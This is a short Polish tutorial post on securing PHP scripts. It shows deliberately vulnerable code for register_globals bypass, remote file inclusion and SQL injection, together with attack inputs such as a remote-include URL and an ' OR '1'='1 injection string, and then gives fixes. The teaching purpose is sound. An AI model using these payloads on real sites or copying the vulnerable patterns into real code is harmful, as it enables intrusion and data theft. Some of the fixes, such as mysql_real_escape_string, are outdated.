Jacek | 2005-10-09 17:07:40
Skrypy PHP też są potencjalną dziurą w bezpieczeństwie. Kilka często wykorzystywanych sposobów opiszę.
to dyrektywa w pliku php.ini odpowiadająca za zamianę zmiennych globalnych (czyli $_POST['abb']
, $_GET['aab']
...) w lokalne (czyli $abb
, $aab
...). Skrypt, który jest podatny na atak właśnie dzięki tej opcji wygląda tak:
<?php
if($haslo=='dobrehaslo') {
$zalogowano=1;
}
if($zalogowano==1) {
echo 'Hasło poprawne!<br>
Ważne dane to: ...';
}
?>
Skrypt wywołany z parametrem ?haslo=dobrehaslo działa zgodnie z oczekiwaniami. A co jeśli skrypt zostanie uruchomiony z parametrem ?zalogowano=1 ? Skrypt pokaże ważne dane, co nie powinno mieć miejsca.
Wystarczy dopisać na początku:
$zalogowano = 0;
aby coś takiego się nie zdarzyło.
Jeśli register_globals jest ustawione na Off, a tablice superglobalne są użyte poprawnie - problemu nie ma.
Linki typu pokazdzial.php?id=dzial są popularne. Twórcy zapewne nie trudzili się zbytnio i po prostu wklepali:
<?php
include($_GET['id'].'.php');
?>
Proste, a zarazem jakie niebezpieczne!
Przykładowe niebezpieczne wywołanie:
pokazdzial.php?id=http://przyklad.pl/mojkod
Jeśli ustawienia PHP są "sprzyjające" (włączone allow_url_include) to PHP wykona kod umieszczony na stronie http://przyklad.pl/mojkod.php
Co to oznacza? Możemu usunąć całą stronę (np. umieszczając funkcję unlink()
w pliku mojkod.php). Jak się zabezpieczyć? Sprawdzać otrzymywane dane:
<?php
if(!ctype_alnum($_GET['id']))
$_GET['id'] = 'glowna';
include($_GET['id'].'.php');
?>
Raportowanie błędów w połączeniu z umieszczaniem plików .php pod rozszeżeniami .inc lub .class nie jest bezpieczne. Często umieszcza się tam loginy i hasła do bazy danych itp.
Co zrobić? Przede wszystkim używać rozszerzenia .php dla skryptów. Ewentualnie blokować dostęp do plików z innymi końcówkami np. używając plików .htaccess
<Files ~ "^\\.rozszerzenie">
Order allow,deny
Deny from all
</Files>
Ostatni podrozdział poświęcę wykonywaniu poleceń SQL i atakom SQL Injection
Na czym polega SQL Injection? Chodzi o zmianę zapytania w sposób korzystny dla atakującego. Przykład:
<?php
mysql_connect('host', 'user', 'pass');
mysql_select_db('baza');
$wynik = mysql_query('SELECT * FROM
`zwykle_i_wazne_dane` WHERE
(`typ`=\\'zwykle\\' AND `id`=\\''.$_GET['id'].'\\')');
?>
Niby zwykłe zapytanie, ale wykonane poprzez
?id=5') OR ('1'='1
zmieni zapytanie w
SELECT * FROM
`zwykle_i_wazne_dane` WHERE
(`typ`='zwykle' AND `id`='5') OR ('1'='1')
pokazując przy okazji wszystkie (nawet ukryte) dane.
Zabezpieczenie? Filtrowanie danych lub zamiana $_GET['id']
na mysql_real_escape_string($_GET['id'])
© by Jacek Kowalski Sponsor: poszukiwany